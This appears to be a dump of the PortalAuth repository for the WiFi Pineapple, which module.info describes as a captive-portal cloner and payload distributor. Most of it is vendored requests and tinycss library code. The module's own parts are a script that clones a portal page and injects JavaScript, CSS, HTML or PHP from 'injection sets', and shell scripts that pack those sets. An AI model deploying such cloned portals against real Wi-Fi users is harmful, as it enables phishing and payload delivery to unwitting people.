-------------------------------------------------------------------------------- /includes/scripts/libs/requests/packages/urllib3/util/url.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/scripts/libs/requests/packages/urllib3/util/url.pyc -------------------------------------------------------------------------------- /includes/scripts/libs/requests/sessions.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/scripts/libs/requests/sessions.pyc -------------------------------------------------------------------------------- /includes/scripts/libs/requests/status_codes.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | from .structures import LookupDict 4 | 5 | _codes = { 6 | 7 | # Informational. 8 | 100: ('continue',), 9 | 101: ('switching_protocols',), 10 | 102: ('processing',), 11 | 103: ('checkpoint',), 12 | 122: ('uri_too_long', 'request_uri_too_long'), 13 | 200: ('ok', 'okay', 'all_ok', 'all_okay', 'all_good', '\\o/', '✓'), 14 | 201: ('created',), 15 | 202: ('accepted',), 16 | 203: ('non_authoritative_info', 'non_authoritative_information'), 17 | 204: ('no_content',), 18 | 205: ('reset_content', 'reset'), 19 | 206: ('partial_content', 'partial'), 20 | 207: ('multi_status', 'multiple_status', 'multi_stati', 'multiple_stati'), 21 | 208: ('already_reported',), 22 | 226: ('im_used',), 23 | 24 | # Redirection. 25 | 300: ('multiple_choices',), 26 | 301: ('moved_permanently', 'moved', '\\o-'), 27 | 302: ('found',), 28 | 303: ('see_other', 'other'), 29 | 304: ('not_modified',), 30 | 305: ('use_proxy',), 31 | 306: ('switch_proxy',), 32 | 307: ('temporary_redirect', 'temporary_moved', 'temporary'), 33 | 308: ('permanent_redirect', 34 | 'resume_incomplete', 'resume',), # These 2 to be removed in 3.0 35 | 36 | # Client Error. 37 | 400: ('bad_request', 'bad'), 38 | 401: ('unauthorized',), 39 | 402: ('payment_required', 'payment'), 40 | 403: ('forbidden',), 41 | 404: ('not_found', '-o-'), 42 | 405: ('method_not_allowed', 'not_allowed'), 43 | 406: ('not_acceptable',), 44 | 407: ('proxy_authentication_required', 'proxy_auth', 'proxy_authentication'), 45 | 408: ('request_timeout', 'timeout'), 46 | 409: ('conflict',), 47 | 410: ('gone',), 48 | 411: ('length_required',), 49 | 412: ('precondition_failed', 'precondition'), 50 | 413: ('request_entity_too_large',), 51 | 414: ('request_uri_too_large',), 52 | 415: ('unsupported_media_type', 'unsupported_media', 'media_type'), 53 | 416: ('requested_range_not_satisfiable', 'requested_range', 'range_not_satisfiable'), 54 | 417: ('expectation_failed',), 55 | 418: ('im_a_teapot', 'teapot', 'i_am_a_teapot'), 56 | 422: ('unprocessable_entity', 'unprocessable'), 57 | 423: ('locked',), 58 | 424: ('failed_dependency', 'dependency'), 59 | 425: ('unordered_collection', 'unordered'), 60 | 426: ('upgrade_required', 'upgrade'), 61 | 428: ('precondition_required', 'precondition'), 62 | 429: ('too_many_requests', 'too_many'), 63 | 431: ('header_fields_too_large', 'fields_too_large'), 64 | 444: ('no_response', 'none'), 65 | 449: ('retry_with', 'retry'), 66 | 450: ('blocked_by_windows_parental_controls', 'parental_controls'), 67 | 451: ('unavailable_for_legal_reasons', 'legal_reasons'), 68 | 499: ('client_closed_request',), 69 | 70 | # Server Error. 71 | 500: ('internal_server_error', 'server_error', '/o\\', '✗'), 72 | 501: ('not_implemented',), 73 | 502: ('bad_gateway',), 74 | 503: ('service_unavailable', 'unavailable'), 75 | 504: ('gateway_timeout',), 76 | 505: ('http_version_not_supported', 'http_version'), 77 | 506: ('variant_also_negotiates',), 78 | 507: ('insufficient_storage',), 79 | 509: ('bandwidth_limit_exceeded', 'bandwidth'), 80 | 510: ('not_extended',), 81 | } 82 | 83 | codes = LookupDict(name='status_codes') 84 | 85 | for (code, titles) in list(_codes.items()): 86 | for title in titles: 87 | setattr(codes, title, code) 88 | if not title.startswith('\\'): 89 | setattr(codes, title.upper(), code) 90 | -------------------------------------------------------------------------------- /includes/scripts/libs/requests/status_codes.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/scripts/libs/requests/status_codes.pyc -------------------------------------------------------------------------------- /includes/scripts/libs/requests/structures.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | """ 4 | requests.structures 5 | ~~~~~~~~~~~~~~~~~~~ 6 | 7 | Data structures that power Requests. 8 | 9 | """ 10 | 11 | import collections 12 | 13 | 14 | class CaseInsensitiveDict(collections.MutableMapping): 15 | """ 16 | A case-insensitive ``dict``-like object. 17 | 18 | Implements all methods and operations of 19 | ``collections.MutableMapping`` as well as dict's ``copy``. Also 20 | provides ``lower_items``. 21 | 22 | All keys are expected to be strings. The structure remembers the 23 | case of the last key to be set, and ``iter(instance)``, 24 | ``keys()``, ``items()``, ``iterkeys()``, and ``iteritems()`` 25 | will contain case-sensitive keys. However, querying and contains 26 | testing is case insensitive:: 27 | 28 | cid = CaseInsensitiveDict() 29 | cid['Accept'] = 'application/json' 30 | cid['aCCEPT'] == 'application/json' # True 31 | list(cid) == ['Accept'] # True 32 | 33 | For example, ``headers['content-encoding']`` will return the 34 | value of a ``'Content-Encoding'`` response header, regardless 35 | of how the header name was originally stored. 36 | 37 | If the constructor, ``.update``, or equality comparison 38 | operations are given keys that have equal ``.lower()``s, the 39 | behavior is undefined. 40 | 41 | """ 42 | def __init__(self, data=None, **kwargs): 43 | self._store = dict() 44 | if data is None: 45 | data = {} 46 | self.update(data, **kwargs) 47 | 48 | def __setitem__(self, key, value): 49 | # Use the lowercased key for lookups, but store the actual 50 | # key alongside the value. 51 | self._store[key.lower()] = (key, value) 52 | 53 | def __getitem__(self, key): 54 | return self._store[key.lower()][1] 55 | 56 | def __delitem__(self, key): 57 | del self._store[key.lower()] 58 | 59 | def __iter__(self): 60 | return (casedkey for casedkey, mappedvalue in self._store.values()) 61 | 62 | def __len__(self): 63 | return len(self._store) 64 | 65 | def lower_items(self): 66 | """Like iteritems(), but with all lowercase keys.""" 67 | return ( 68 | (lowerkey, keyval[1]) 69 | for (lowerkey, keyval) 70 | in self._store.items() 71 | ) 72 | 73 | def __eq__(self, other): 74 | if isinstance(other, collections.Mapping): 75 | other = CaseInsensitiveDict(other) 76 | else: 77 | return NotImplemented 78 | # Compare insensitively 79 | return dict(self.lower_items()) == dict(other.lower_items()) 80 | 81 | # Copy is required 82 | def copy(self): 83 | return CaseInsensitiveDict(self._store.values()) 84 | 85 | def __repr__(self): 86 | return str(dict(self.items())) 87 | 88 | class LookupDict(dict): 89 | """Dictionary lookup object.""" 90 | 91 | def __init__(self, name=None): 92 | self.name = name 93 | super(LookupDict, self).__init__() 94 | 95 | def __repr__(self): 96 | return '' % (self.name) 97 | 98 | def __getitem__(self, key): 99 | # We allow fall-through here, so values default to None 100 | 101 | return self.__dict__.get(key, None) 102 | 103 | def get(self, key, default=None): 104 | return self.__dict__.get(key, default) 105 | -------------------------------------------------------------------------------- /includes/scripts/libs/requests/structures.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/scripts/libs/requests/structures.pyc -------------------------------------------------------------------------------- /includes/scripts/libs/requests/utils.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/scripts/libs/requests/utils.pyc -------------------------------------------------------------------------------- /includes/scripts/libs/tinycss.egg-info/PKG-INFO: -------------------------------------------------------------------------------- 1 | Metadata-Version: 1.1 2 | Name: tinycss 3 | Version: 0.4 4 | Summary: tinycss is a complete yet simple CSS parser for Python. 5 | Home-page: http://tinycss.readthedocs.io/ 6 | Author: Simon Sapin 7 | Author-email: simon.sapin@exyr.org 8 | License: BSD 9 | Description: tinycss: CSS parser for Python 10 | ============================== 11 | 12 | *tinycss* is a complete yet simple CSS parser for Python. It supports the full 13 | syntax and error handling for CSS 2.1 as well as some CSS 3 modules: 14 | 15 | * CSS Color 3 16 | * CSS Fonts 3 17 | * CSS Paged Media 3 18 | 19 | It is designed to be easy to extend for new CSS modules and syntax, 20 | and integrates well with cssselect_ for Selectors 3 support. 21 | 22 | Quick facts: 23 | 24 | * Free software: BSD licensed 25 | * Compatible with Python 2.7 and 3.x 26 | * Latest documentation `on python.org`_ 27 | * Source, issues and pull requests `on Github`_ 28 | * Releases `on PyPI`_ 29 | * Install with ``pip install tinycss`` 30 | 31 | .. _cssselect: http://packages.python.org/cssselect/ 32 | .. _on python.org: http://packages.python.org/tinycss/ 33 | .. _on Github: https://github.com/SimonSapin/tinycss/ 34 | .. _on PyPI: http://pypi.python.org/pypi/tinycss 35 | 36 | Platform: UNKNOWN 37 | Classifier: Development Status :: 4 - Beta 38 | Classifier: Intended Audience :: Developers 39 | Classifier: License :: OSI Approved :: BSD License 40 | Classifier: Programming Language :: Python :: 2 41 | Classifier: Programming Language :: Python :: 2.7 42 | Classifier: Programming Language :: Python :: 3 43 | Classifier: Programming Language :: Python :: 3.3 44 | Classifier: Programming Language :: Python :: 3.4 45 | Classifier: Programming Language :: Python :: 3.5 46 | Classifier: Programming Language :: Python :: Implementation :: CPython 47 | Classifier: Programming Language :: Python :: Implementation :: PyPy 48 | -------------------------------------------------------------------------------- /includes/scripts/libs/tinycss.egg-info/SOURCES.txt: -------------------------------------------------------------------------------- 1 | .coveragerc 2 | .gitignore 3 | .travis.yml 4 | CHANGES 5 | LICENSE 6 | MANIFEST.in 7 | README.rst 8 | setup.cfg 9 | setup.py 10 | docs/changelog.rst 11 | docs/conf.py 12 | docs/css3.rst 13 | docs/extending.rst 14 | docs/hacking.rst 15 | docs/index.rst 16 | docs/parsing.rst 17 | docs/_static/custom.css 18 | docs/_templates/layout.html 19 | tinycss/__init__.py 20 | tinycss/color3.py 21 | tinycss/css21.py 22 | tinycss/decoding.py 23 | tinycss/fonts3.py 24 | tinycss/page3.py 25 | tinycss/parsing.py 26 | tinycss/speedups.c 27 | tinycss/speedups.pyx 28 | tinycss/token_data.py 29 | tinycss/tokenizer.py 30 | tinycss/version.py 31 | tinycss.egg-info/PKG-INFO 32 | tinycss.egg-info/SOURCES.txt 33 | tinycss.egg-info/dependency_links.txt 34 | tinycss.egg-info/requires.txt 35 | tinycss.egg-info/top_level.txt 36 | tinycss/tests/__init__.py 37 | tinycss/tests/speed.py 38 | tinycss/tests/test_api.py 39 | tinycss/tests/test_color3.py 40 | tinycss/tests/test_css21.py 41 | tinycss/tests/test_decoding.py 42 | tinycss/tests/test_fonts3.py 43 | tinycss/tests/test_page3.py 44 | tinycss/tests/test_tokenizer.py -------------------------------------------------------------------------------- /includes/scripts/libs/tinycss.egg-info/dependency_links.txt: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /includes/scripts/libs/tinycss.egg-info/requires.txt: -------------------------------------------------------------------------------- 1 | 2 | [test] 3 | pytest-runner 4 | pytest-cov 5 | pytest-flake8 6 | pytest-isort 7 | -------------------------------------------------------------------------------- /includes/scripts/libs/tinycss.egg-info/top_level.txt: -------------------------------------------------------------------------------- 1 | tinycss 2 | -------------------------------------------------------------------------------- /includes/scripts/libs/tinycss/__init__.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | """ 3 | tinycss 4 | ------- 5 | 6 | A CSS parser, and nothing else. 7 | 8 | :copyright: (c) 2012 by Simon Sapin. 9 | :license: BSD, see LICENSE for more details. 10 | """ 11 | 12 | from .version import VERSION 13 | 14 | from .css21 import CSS21Parser 15 | from .page3 import CSSPage3Parser 16 | from .fonts3 import CSSFonts3Parser 17 | 18 | 19 | __version__ = VERSION 20 | 21 | PARSER_MODULES = { 22 | 'page3': CSSPage3Parser, 23 | 'fonts3': CSSFonts3Parser, 24 | } 25 | 26 | 27 | def make_parser(*features, **kwargs): 28 | """Make a parser object with the chosen features. 29 | 30 | :param features: 31 | Positional arguments are base classes the new parser class will extend. 32 | The string ``'page3'`` is accepted as short for 33 | :class:`~page3.CSSPage3Parser`. 34 | The string ``'fonts3'`` is accepted as short for 35 | :class:`~fonts3.CSSFonts3Parser`. 36 | :param kwargs: 37 | Keyword arguments are passed to the parser’s constructor. 38 | :returns: 39 | An instance of a new subclass of :class:`CSS21Parser` 40 | 41 | """ 42 | if features: 43 | bases = tuple(PARSER_MODULES.get(f, f) for f in features) 44 | parser_class = type('CustomCSSParser', bases + (CSS21Parser,), {}) 45 | else: 46 | parser_class = CSS21Parser 47 | return parser_class(**kwargs) 48 | -------------------------------------------------------------------------------- /includes/scripts/libs/tinycss/tests/__init__.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | """ 3 | Test suite for tinycss 4 | ---------------------- 5 | 6 | :copyright: (c) 2012 by Simon Sapin. 7 | :license: BSD, see LICENSE for more details. 8 | """ 9 | 10 | 11 | from __future__ import unicode_literals 12 | 13 | import sys 14 | 15 | 16 | # Awful workaround to fix isort's "sys.setdefaultencoding('utf-8')". 17 | if sys.version_info[0] == 2: 18 | reload(sys) # noqa 19 | sys.setdefaultencoding('ascii') 20 | 21 | 22 | def assert_errors(errors, expected_errors): 23 | """Test not complete error messages but only substrings.""" 24 | assert len(errors) == len(expected_errors) 25 | for error, expected in zip(errors, expected_errors): 26 | assert expected in str(error) 27 | -------------------------------------------------------------------------------- /includes/scripts/libs/tinycss/tests/test_api.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | """ 3 | Tests for the public API 4 | ------------------------ 5 | 6 | :copyright: (c) 2012 by Simon Sapin. 7 | :license: BSD, see LICENSE for more details. 8 | """ 9 | 10 | 11 | from __future__ import unicode_literals 12 | 13 | from pytest import raises 14 | from tinycss import make_parser 15 | from tinycss.page3 import CSSPage3Parser 16 | 17 | 18 | def test_make_parser(): 19 | class MyParser(object): 20 | def __init__(self, some_config): 21 | self.some_config = some_config 22 | 23 | parsers = [ 24 | make_parser(), 25 | make_parser('page3'), 26 | make_parser(CSSPage3Parser), 27 | make_parser(MyParser, some_config=42), 28 | make_parser(CSSPage3Parser, MyParser, some_config=42), 29 | make_parser(MyParser, 'page3', some_config=42), 30 | ] 31 | 32 | for parser, exp in zip(parsers, [False, True, True, False, True, True]): 33 | assert isinstance(parser, CSSPage3Parser) == exp 34 | 35 | for parser, exp in zip(parsers, [False, False, False, True, True, True]): 36 | assert isinstance(parser, MyParser) == exp 37 | 38 | for parser in parsers[3:]: 39 | assert parser.some_config == 42 40 | 41 | # Extra or missing named parameters 42 | raises(TypeError, make_parser, some_config=4) 43 | raises(TypeError, make_parser, 'page3', some_config=4) 44 | raises(TypeError, make_parser, MyParser) 45 | raises(TypeError, make_parser, MyParser, some_config=4, other_config=7) 46 | -------------------------------------------------------------------------------- /includes/scripts/libs/tinycss/tests/test_decoding.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | """ 3 | Tests for decoding bytes to Unicode 4 | ----------------------------------- 5 | 6 | :copyright: (c) 2012 by Simon Sapin. 7 | :license: BSD, see LICENSE for more details. 8 | """ 9 | 10 | 11 | from __future__ import unicode_literals 12 | 13 | import pytest 14 | from tinycss.decoding import decode 15 | 16 | 17 | def params(css, encoding, use_bom=False, expect_error=False, **kwargs): 18 | """Nicer syntax to make a tuple.""" 19 | return css, encoding, use_bom, expect_error, kwargs 20 | 21 | 22 | @pytest.mark.parametrize(('css', 'encoding', 'use_bom', 'expect_error', 23 | 'kwargs'), [ 24 | params('', 'utf8'), # default to utf8 25 | params('𐂃', 'utf8'), 26 | params('é', 'latin1'), # utf8 fails, fall back on ShiftJIS 27 | params('£', 'ShiftJIS', expect_error=True), 28 | params('£', 'ShiftJIS', protocol_encoding='Shift-JIS'), 29 | params('£', 'ShiftJIS', linking_encoding='Shift-JIS'), 30 | params('£', 'ShiftJIS', document_encoding='Shift-JIS'), 31 | params('£', 'ShiftJIS', protocol_encoding='utf8', 32 | document_encoding='ShiftJIS'), 33 | params('@charset "utf8"; £', 'ShiftJIS', expect_error=True), 34 | params('@charset "utf£8"; £', 'ShiftJIS', expect_error=True), 35 | params('@charset "unknown-encoding"; £', 'ShiftJIS', expect_error=True), 36 | params('@charset "utf8"; £', 'ShiftJIS', document_encoding='ShiftJIS'), 37 | params('£', 'ShiftJIS', linking_encoding='utf8', 38 | document_encoding='ShiftJIS'), 39 | params('@charset "utf-32"; 𐂃', 'utf-32-be'), 40 | params('@charset "Shift-JIS"; £', 'ShiftJIS'), 41 | params('@charset "ISO-8859-8"; £', 'ShiftJIS', expect_error=True), 42 | params('𐂃', 'utf-16-le', expect_error=True), # no BOM 43 | params('𐂃', 'utf-16-le', use_bom=True), 44 | params('𐂃', 'utf-32-be', expect_error=True), 45 | params('𐂃', 'utf-32-be', use_bom=True), 46 | params('𐂃', 'utf-32-be', document_encoding='utf-32-be'), 47 | params('𐂃', 'utf-32-be', linking_encoding='utf-32-be'), 48 | params('@charset "utf-32-le"; 𐂃', 'utf-32-be', 49 | use_bom=True, expect_error=True), 50 | # protocol_encoding takes precedence over @charset 51 | params('@charset "ISO-8859-8"; £', 'ShiftJIS', 52 | protocol_encoding='Shift-JIS'), 53 | params('@charset "unknown-encoding"; £', 'ShiftJIS', 54 | protocol_encoding='Shift-JIS'), 55 | params('@charset "Shift-JIS"; £', 'ShiftJIS', 56 | protocol_encoding='utf8'), 57 | # @charset takes precedence over document_encoding 58 | params('@charset "Shift-JIS"; £', 'ShiftJIS', 59 | document_encoding='ISO-8859-8'), 60 | # @charset takes precedence over linking_encoding 61 | params('@charset "Shift-JIS"; £', 'ShiftJIS', 62 | linking_encoding='ISO-8859-8'), 63 | # linking_encoding takes precedence over document_encoding 64 | params('£', 'ShiftJIS', 65 | linking_encoding='Shift-JIS', document_encoding='ISO-8859-8'), 66 | ]) 67 | def test_decode(css, encoding, use_bom, expect_error, kwargs): 68 | # Workaround PyPy and CPython 3.0 bug: https://bugs.pypy.org/issue1094 69 | css = css.encode('utf16').decode('utf16') 70 | if use_bom: 71 | source = '\ufeff' + css 72 | else: 73 | source = css 74 | css_bytes = source.encode(encoding) 75 | result, result_encoding = decode(css_bytes, **kwargs) 76 | if expect_error: 77 | assert result != css, 'Unexpected unicode success' 78 | else: 79 | assert result == css, 'Unexpected unicode error' 80 | -------------------------------------------------------------------------------- /includes/scripts/libs/tinycss/version.py: -------------------------------------------------------------------------------- 1 | VERSION = '0.4' 2 | -------------------------------------------------------------------------------- /includes/scripts/packInjectionSet.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | tar -czf /pineapple/modules/PortalAuth/includes/downloads/$1.tar.gz -C /pineapple/modules/PortalAuth/includes/scripts/injects/ $1/ 4 | echo "Complete" 5 | -------------------------------------------------------------------------------- /includes/scripts/portalclone.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | import argparse 4 | from PortalCloner import PortalCloner 5 | 6 | parser = argparse.ArgumentParser(description='Portal cloner for the WiFi Pineapple that conforms to the Evil Portal structure.') 7 | parser.add_argument('--portalName', action='store', dest='portalName', help='The name of the cloned portal', required=True) 8 | parser.add_argument('--portalArchive', action='store', dest='portalArchive', help='The directory in which to store the portal', required=True) 9 | parser.add_argument('--url', action='store', dest='url', help='The URL a site to clone. If a captive portal exists it will be cloned instead.', required=True) 10 | parser.add_argument('--injectSet', action='store', dest='injectionSet', help='The name of an injection set to use', required=True) 11 | parser.add_argument('--injectjs', action='store_true', dest='injectjs', help='Inject JavaScript from injectSet into the cloned portal', required=False) 12 | parser.add_argument('--injectcss', action='store_true', dest='injectcss', help='Inject CSS from injectSet into the cloned portal', required=False) 13 | parser.add_argument('--injecthtml', action='store_true', dest='injecthtml', help='Inject HTML from injectSet into the cloned portal', required=False) 14 | parser.add_argument('--injectphp', action='store_true', dest='injectphp', help='Inject PHP from injectSet into the cloned portal', required=False) 15 | parser.add_argument('--stripjs', action='store_true', dest='stripjs', help='Strip inline JavaScript from the cloned portal', required=False) 16 | parser.add_argument('--stripcss', action='store_true', dest='stripcss', help='Strip inline CSS from the cloned portal', required=False) 17 | parser.add_argument('--striplinks', action='store_true', dest='striplinks', help='Strip links from the cloned portal', required=False) 18 | parser.add_argument('--stripforms', action='store_true', dest='stripforms', help='Strip form elements from the cloned portal', required=False) 19 | parser.add_argument('--targeted', action='store_true', dest='targeted', help='Clone to a targeted portal', required=False) 20 | args = parser.parse_args() 21 | 22 | 23 | cloner = PortalCloner(args.portalName, args.portalArchive, args.injectionSet, args.targeted) 24 | cloner.fetchPage(args.url) 25 | cloner.cloneResources() 26 | 27 | 28 | if args.stripjs is not False: 29 | cloner.stripJS() 30 | 31 | if args.stripcss is not False: 32 | cloner.stripCSS() 33 | 34 | if args.stripforms is not False: 35 | cloner.stripForms() 36 | 37 | if args.striplinks is not False: 38 | cloner.stripLinks() 39 | 40 | 41 | 42 | if args.injectjs is not False: 43 | cloner.injectJS() 44 | 45 | if args.injectcss is not False: 46 | cloner.injectCSS() 47 | 48 | if args.injecthtml is not False: 49 | cloner.injectHTML() 50 | 51 | 52 | cloner.writeFiles() 53 | 54 | print "Complete" 55 | -------------------------------------------------------------------------------- /includes/scripts/portalclone.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/scripts/portalclone.pyc -------------------------------------------------------------------------------- /includes/scripts/skeleton/MyPortal.php: -------------------------------------------------------------------------------- 1 | 4 | -------------------------------------------------------------------------------- /includes/scripts/unpackInjectionSet.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | cd /pineapple/modules/PortalAuth/includes/scripts/injects/; 4 | tar -xzf $1; 5 | rm -rf $1; 6 | -------------------------------------------------------------------------------- /module.info: -------------------------------------------------------------------------------- 1 | { 2 | "author": "sud0nick", 3 | "description": "Captive portal cloner and payload distributor.", 4 | "devices": [ 5 | "nano", 6 | "tetra" 7 | ], 8 | "title": "Portal Auth", 9 | "version": "2.1" 10 | } 11 | --------------------------------------------------------------------------------